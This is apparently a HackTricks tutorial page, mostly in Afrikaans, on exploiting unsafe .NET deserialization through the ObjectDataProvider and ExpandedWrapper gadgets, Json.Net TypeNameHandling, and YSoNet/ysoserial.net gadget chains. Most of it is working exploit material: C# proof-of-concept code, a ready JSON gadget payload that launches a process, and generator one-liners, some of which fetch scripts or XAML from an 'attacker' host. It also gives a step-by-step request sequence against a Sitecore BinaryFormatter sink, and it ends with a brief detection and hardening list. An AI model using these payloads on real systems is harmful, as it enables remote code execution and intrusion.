Basiese .Net deserialisering (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 10 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Hierdie pos is gewy aan die begrip van hoe die gadget ObjectDataProvider uitgebuit word om RCE te verkry, en hoe die serialiseringsbiblioteke Json.Net en xmlSerializer daarmee misbruik kan word.

ObjectDataProvider Gadget

Volgens die dokumentasie: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat hierdie klas het wat so interessant is: Hierdie klas laat toe om 'n arbitrĂȘre objek te omskep, gebruik MethodParameters om arbitrĂȘre parameters te stel, en dan MethodName te gebruik om 'n arbitrĂȘre funksie aan te roep van die arbitrĂȘre objek wat met daardie parameters gedefinieer is.
Daarom sal die arbitrĂȘre objek 'n funksie met parameters uitvoer terwyl dit gedeserialiseer word.

Hoe is dit moontlik

Die System.Windows.Data namespace, gevind binne die PresentationFramework.dll by C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, is waar die ObjectDataProvider gedefinieer en geĂŻmplementeer is.

Met behulp van dnSpy kan jy die kode inspekteer van die klas waarin ons belangstel. In die beeld hieronder sien ons die kode van PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Soos jy kan sien, wanneer MethodName gestel word, word base.Refresh() aangeroep; kom ons kyk wat dit doen:

Ok, kom ons gaan voort en kyk wat this.BeginQuery() doen. BeginQuery word deur ObjectDataProvider oorskryf en dit is wat dit doen:

Let daarop dat aan die einde van die kode dit this.QueryWorke(null) aanroep. Kom ons kyk wat dit uitvoer:

Let daarop dat dit nie die volledige kode van die funksie QueryWorker is nie, maar dit wys die interessante deel daarvan: Die kode roep this.InvokeMethodOnInstance(out ex); aan; dit is die reël waar die gestelde metode uitgevoer word.

As jy wil toets dat net deur die MethodName te stel dit uitgevoer sal word, kan jy hierdie kode hardloop:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Let daarop dat jy as verwysing C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll moet byvoeg om System.Windows.Data te laai

ExpandedWrapper

Met die vorige exploit sal daar gevalle wees waar die objek as 'n ObjectDataProvider instansie gedeserialiseer sal word (byvoorbeeld in die DotNetNuke vuln, met XmlSerializer is die objek gedeserialiseer deur gebruik te maak van GetType). Dan sal daar geen kennis wees van die objektipe wat in die ObjectDataProvider instansie ingepak is nie (bv. Process). Jy kan meer inligting oor die DotNetNuke vuln hier vind.

Hierdie klas laat toe om die objektipe van die voorwerpe wat ingesluit is in 'n gegewe instansie te spesifiseer. Dus kan hierdie klas gebruik word om 'n brongobjek (ObjectDataProvider) in 'n nuwe objektipe te inkapsuleer en die eienskappe wat ons nodig het te verskaf (ObjectDataProvider.MethodName en ObjectDataProvider.MethodParameters).
Dit is baie nuttig vir gevalle soos die een hierbo beskryf, omdat ons in staat sal wees om wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.

Jy kan hierdie wrapper nagaan met die volgende kode:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

In die offisiële webblad word aangedui dat hierdie biblioteek toelaat om Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Dus, as ons die deserialize the ObjectDataProvider gadget sou kon doen, sou ons 'n RCE veroorsaak deur net 'n object te deserialize.

Json.Net example

Eerstens, kom ons kyk na 'n voorbeeld van hoe om 'n object met hierdie biblioteek te serialize/deserialize:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Misbruik van Json.Net

Deur ysoserial.net te gebruik het ek die exploit geskep:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

In hierdie kode kan jy test the exploit, voer dit net uit en jy sal sien dat calc uitgevoer word:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

Die ObjectDataProvider + ExpandedWrapper-tegniek wat hierbo bekendgestel is, is slegs een van MANY gadget chains wat misbruik kan word wanneer ’n toepassing unsafe .NET deserialization uitvoer. Moderne red-team tooling soos YSoNet (en die ouer ysoserial.net) outomatiseer die skep van klaar-vir-gebruik malicious object graphs vir dosyne gadgets en serialization formats.

Below is a condensed reference of the most useful chains shipped with YSoNet together with a quick explanation of how they work and example commands to generate the payloads.

Gadget ChainKernidee / PrimitiveAlgemene SerializersYSoNet eenreël
TypeConfuseDelegateCorrupts die DelegateSerializationHolder rekord sodat, wanneer dit geĂŻnstantieer word, die delegate na enige deur die aanvaller verskafde metode wys (bv. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorMisbruik van System.Workflow.ComponentModel.ActivitySurrogateSelector om bypass .NET ≄4.8 type-filtering en direk die constructor van ’n gegewe klas aan te roep of ’n C#-lĂȘer ter plaatse te samestelBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourBenut die legacy XML voorstelling van System.Data.DataSet om arbitrĂȘre tipes te instansieer deur die <ColumnMapping> / <DataType> velde te vul (opsioneel deur die assembly te vervals met --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>
</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsOp WPF-geaktiveerde runtimes (> .NET 5) kettinge property getters totdat System.CodeDom.Compiler.CompilerResults bereik word, en dan ’n DLL saamstel of laai wat met -c verskaf isJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)Gebruik WPF System.Windows.Data.ObjectDataProvider om ’n arbitrĂȘre static metode met beheerde argumente aan te roep. YSoNet voeg ’n handige --xamlurl variant by om die kwaadwillige XAML remote te hostBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Embed ScriptBlock in System.Management.Automation.PSObject wat uitgevoer word wanneer PowerShell die object deserialiseerPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Al die payloads word standaard na stdout weggeskryf, wat dit eenvoudig maak om hulle in ander tooling te pipe (bv. ViewState generators, base64 encoders, HTTP clients).

Bouw / Installering van YSoNet

As daar geen vooraf-gecompileerde binaries beskikbaar is onder Actions ➜ Artifacts / Releases nie, sal die volgende PowerShell eenreĂ«l-opdrag ’n build-omgewing opstel, die repository kloon en alles in Release-modus saamstel:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Die gekompileerde ysonet.exe kan dan gevind word onder ysonet/bin/Release/.

Opsporing & Verharding

  • Detecteer onverwante kinderprosesse van w3wp.exe, PowerShell.exe, of enige proses wat gebruiker-gelewerde data deserialiseer (bv. MessagePack, Json.NET).
  • Skakel in en handhaaf tipe-filters (TypeFilterLevel = Full, pasgemaakte SurrogateSelector, SerializationBinder, ens.) wanneer die verouderde BinaryFormatter / NetDataContractSerializer nie verwyder kan word nie.
  • Waar moontlik migreer na System.Text.Json of DataContractJsonSerializer met witlys-gebaseerde converters.
  • Blokkeer gevaarlike WPF-assemblies (PresentationFramework, System.Workflow.*) sodat hulle nie in webprosesse wat dit nooit behoort te benodig gelaai word nie.

Werklike‑wĂȘreld sink: Sitecore convertToRuntimeHtml → BinaryFormatter

’n Praktiese .NET sink wat binne geauthentiseerde Sitecore XP Content Editor-strome bereikbaar is:

  • Sink API: Sitecore.Convert.Base64ToObject(string) roep new BinaryFormatter().Deserialize(...) aan.
  • Trigger path: pipeline convertToRuntimeHtml → ConvertWebControls, wat soek na ’n sibling-element met id="{iframeId}_inner" en ’n value-attribuut lees wat as base64-gekodeerde geserialiseerde data behandel word. Die resultaat word na string omgeskakel en in die HTML ingevoeg.

Minimale end‑tot‑end (geauthentiseer):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: enige BinaryFormatter-ketting wat 'n string teruggee (sy‑effekte word tydens deserialisering uitgevoer). Sien YSoNet/ysoserial.net om payloads te genereer.

Vir 'n volledige ketting wat pre‑auth begin met HTML cache poisoning in Sitecore en na hierdie sink lei:

Sitecore

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks